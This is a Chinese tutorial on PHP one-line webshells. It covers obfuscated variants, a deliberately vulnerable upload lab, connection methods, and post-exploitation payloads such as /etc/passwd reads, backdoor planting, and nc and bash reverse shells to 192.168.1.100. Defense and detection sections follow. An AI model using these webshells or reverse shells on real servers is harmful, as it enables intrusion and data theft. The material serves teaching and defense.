一、引言:一句话木马的定义与危害
一句话木马(One-Liner WebShell)是一种极其精简的Web后门程序,通常由一行或几行代码组成,通过向服务器上传恶意文件,攻击者可以远程控制目标服务器。这类木马因其体积小、隐蔽性强、功能强大而成为Web渗透测试中最常用的工具之一。
一句话木马的典型特征:
- 代码量极少,通常只有一行
- 高度隐蔽,可伪装成正常文件
- 功能强大,可执行任意PHP代码
- 易于传播,通过文件上传漏洞植入
二、一句话木马核心语句解析
2.1 基础语法结构
@eval($_POST['hack']);
代码拆解分析:
| 组件 | 作用 | 说明 |
|---|---|---|
@ |
错误抑制符 | 抑制错误信息输出,增强隐蔽性 |
eval() |
代码执行函数 | 将字符串作为PHP代码执行 |
$_POST['hack'] |
接收POST参数 | 获取名为’hack’的POST参数值 |
; |
语句结束符 | PHP语句结束标记 |
2.2 eval() 函数详解
eval()是PHP中一个极其危险的函数,它将传入的字符串当作PHP代码来执行:
eval('echo "Hello World";');
// 输出:Hello World
危险特性:
- 可执行任意PHP代码
- 绕过大多数安全过滤
- 可动态生成和执行代码
2.3 错误抑制符 @ 的作用
@符号用于抑制错误信息输出,避免暴露木马位置:
// 正常执行,出错会显示错误信息
eval($_POST['hack']);
// 使用@,出错时不显示错误信息
@eval($_POST['hack']);
2.4 POST参数接收机制
$_POST['hack']接收客户端通过POST方式提交的名为’hack’的参数:
// 客户端提交:hack=phpinfo();
// 服务器端执行:eval('phpinfo();');
三、一句话木马的变种形式
3.1 基础变种
// 使用GET方式接收参数
@eval($_GET['cmd']);
// 使用REQUEST接收(兼容GET和POST)
@eval($_REQUEST['cmd']);
// 使用assert函数(PHP < 7.2)
@assert($_POST['cmd']);
// 使用create_function(PHP < 7.2)
$func = create_function('', $_POST['cmd']);
$func();
3.2 编码混淆变种
Base64编码:
@eval(base64_decode($_POST['cmd']));
// 客户端需提交Base64编码的代码
十六进制编码:
@eval(pack('H*', $_POST['cmd']));
字符串拼接:
@eval($_POST['a'].$_POST['b']);
3.3 文件包含变种
// 包含远程文件
include($_POST['file']);
// 使用data协议
include('data://text/plain;base64,'.$_POST['code']);
// 使用php://input
include('php://input');
四、一句话木马的利用方式
4.1 客户端连接工具
中国菜刀(Chopper):
- 图形化界面,操作简单
- 支持文件管理、数据库管理
- 支持命令执行、虚拟终端
蚁剑(AntSword):
- 开源WebShell管理工具
- 支持插件扩展
- 支持多协议连接
冰蝎(Behinder):
- 流量加密,隐蔽性强
- 支持内存马注入
- 支持文件管理、数据库管理
4.2 手工连接方式
使用curl命令:
curl -X POST -d "hack=phpinfo();" http://target.com/shell.php
使用Python脚本:
import requests
url = "http://target.com/shell.php"
data = {"hack": "phpinfo();"}
response = requests.post(url, data=data)
print(response.text)
使用浏览器开发者工具:
// 在Console中执行
fetch('http://target.com/shell.php', {
method: 'POST',
body: new URLSearchParams({'hack': 'phpinfo();'})
})
.then(response => response.text())
.then(data => console.log(data));
五、靶机环境搭建演示
5.1 环境准备
所需工具:
- PHP运行环境(XAMPP/WAMP)
- 文本编辑器
- 浏览器
- 中国菜刀/蚁剑
目录结构:
/var/www/html/
├── index.php
├── upload.php
└── shell.php
5.2 上传漏洞靶机
upload.php(存在文件上传漏洞):
<?php
if(isset($_FILES['file'])){
$file = $_FILES['file'];
$name = $file['name'];
$tmp_name = $file['tmp_name'];
// 无任何过滤,直接上传
move_uploaded_file($tmp_name, './uploads/'.$name);
echo "文件上传成功:".$name;
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
5.3 一句话木马上传
创建一句话木马文件(shell.php):
<?php @eval($_POST['hack']); ?>
上传木马:
- 访问
http://localhost/upload.php - 选择
shell.php文件 - 点击上传按钮
- 木马文件上传到
uploads/shell.php
5.4 连接木马
方法一:浏览器连接
访问 http://localhost/uploads/shell.php,使用开发者工具发送POST请求:
fetch('http://localhost/uploads/shell.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'hack=echo%20%22Hello%20World%22%3B'
})
.then(response => response.text())
.then(data => console.log(data));
方法二:使用蚁剑连接
- 打开蚁剑,点击”添加数据”
- URL填写:
http://localhost/uploads/shell.php - 连接密码填写:
hack - 点击”添加”,连接成功
六、一句话木马的危害演示
6.1 文件系统操作
列出当前目录:
hack=print_r(scandir('.'), true);
读取文件内容:
hack=echo file_get_contents('/etc/passwd');
写入文件:
hack=file_put_contents('backdoor.php', '<?php @eval($_POST["cmd"]); ?>');
删除文件:
hack=unlink('config.php');
6.2 系统命令执行
执行系统命令:
hack=system('whoami');
hack=system('ls -la');
hack=system('cat /etc/passwd');
使用反引号执行命令:
hack=echo `whoami`;
使用shell_exec:
hack=echo shell_exec('ls -la');
6.3 数据库操作
连接MySQL数据库:
hack=$conn = new mysqli('localhost', 'root', 'password', 'database');
hack=$result = $conn->query('SELECT * FROM users');
hack=while($row = $result->fetch_assoc()) { print_r($row); }
执行SQL查询:
hack=$pdo = new PDO('mysql:host=localhost;dbname=test', 'root', '');
hack=$stmt = $pdo->query('SELECT * FROM users');
hack=print_r($stmt->fetchAll(PDO::FETCH_ASSOC));
6.4 反弹Shell
使用nc反弹:
hack=system('nc -e /bin/sh 192.168.1.100 4444');
使用bash反弹:
hack=system('bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');
使用php反弹:
hack=$sock=fsockopen("192.168.1.100",4444);
hack=exec("/bin/sh -i <&3 >&3 2>&3");
七、一句话木马的防御措施
7.1 代码层面防御
禁用危险函数:
; php.ini 配置
disable_functions = eval,assert,passthru,exec,system,shell_exec,popen,proc_open
过滤用户输入:
// 过滤eval等危险函数
function filter_input($input) {
$blacklist = ['eval', 'assert', 'system', 'exec', 'shell_exec'];
foreach ($blacklist as $func) {
if (strpos($input, $func) !== false) {
return false;
}
}
return $input;
}
使用白名单验证:
$allowed = ['jpg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die('文件类型不允许');
}
7.2 文件上传安全
检查文件类型:
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
die('文件类型不允许');
}
重命名上传文件:
$filename = md5(uniqid()).'.'.$ext;
move_uploaded_file($_FILES['file']['tmp_name'], './uploads/'.$filename);
设置上传目录权限:
chmod -R 755 uploads/
chown -R www-data:www-data uploads/
7.3 服务器配置安全
配置open_basedir:
; php.ini
open_basedir = /var/www/html
关闭危险配置:
allow_url_fopen = Off
allow_url_include = Off
display_errors = Off
配置Web服务器:
# Nginx 配置
location ~ \.php$ {
fastcgi_param PHP_ADMIN_VALUE "open_basedir=/var/www/html";
}
7.4 安全扫描与监控
使用安全扫描工具:
- D盾
- 河马查杀
- 安全狗
- 云锁
监控文件变化:
# 监控Web目录文件变化
inotifywait -m -r /var/www/html -e create,delete,modify
设置文件完整性检查:
# 生成文件指纹
find /var/www/html -type f -exec md5sum {} \; > /tmp/web.md5
# 检查文件完整性
md5sum -c /tmp/web.md5
八、一句话木马的检测与查杀
8.1 特征码检测
常见一句话木马特征:
eval(、assert(、system(、exec($_POST[、$_GET[、$_REQUEST[base64_decode(、pack('H*'@错误抑制符
使用grep搜索:
grep -r "eval(" /var/www/html
grep -r "assert(" /var/www/html
grep -r "system(" /var/www/html
8.2 文件修改时间检测
# 查找最近修改的文件
find /var/www/html -type f -mtime -1
8.3 使用专业查杀工具
D盾查杀:
./D-Safe_linux --scan /var/www/html
河马查杀:
./hm scan /var/www/html
8.4 日志分析
分析Web访问日志:
# 查找可疑POST请求
grep "POST.*\.php" /var/log/apache2/access.log
# 查找包含eval的请求
grep "eval" /var/log/apache2/access.log
九、总结
一句话木马是Web安全领域最常见、最危险的攻击手段之一。通过本教程的详细解析和靶机演示,我们深入了解了:
- 一句话木马的核心原理:利用eval()函数执行任意代码
- 多种变种形式:编码混淆、函数替换、文件包含等
- 实际利用方式:文件上传、代码注入、命令执行
- 完整的靶机演示:从环境搭建到木马连接的全过程
- 全面的防御措施:代码过滤、服务器配置、安全监控
关键安全建议:
- 严格过滤用户输入,禁用危险函数
- 加强文件上传安全,使用白名单验证
- 配置服务器安全,限制目录权限
- 定期安全扫描,监控文件变化
- 及时更新系统和应用补丁
记住,安全是一个持续的过程,只有时刻保持警惕,才能有效防范一句话木马等Web攻击。
若内容若侵犯到您的权益,请发送邮件至:platform_service@jienda.com我们将第一时间处理!
所有资源仅限于参考和学习,版权归JienDa作者所有,更多请访问JienDa首页。





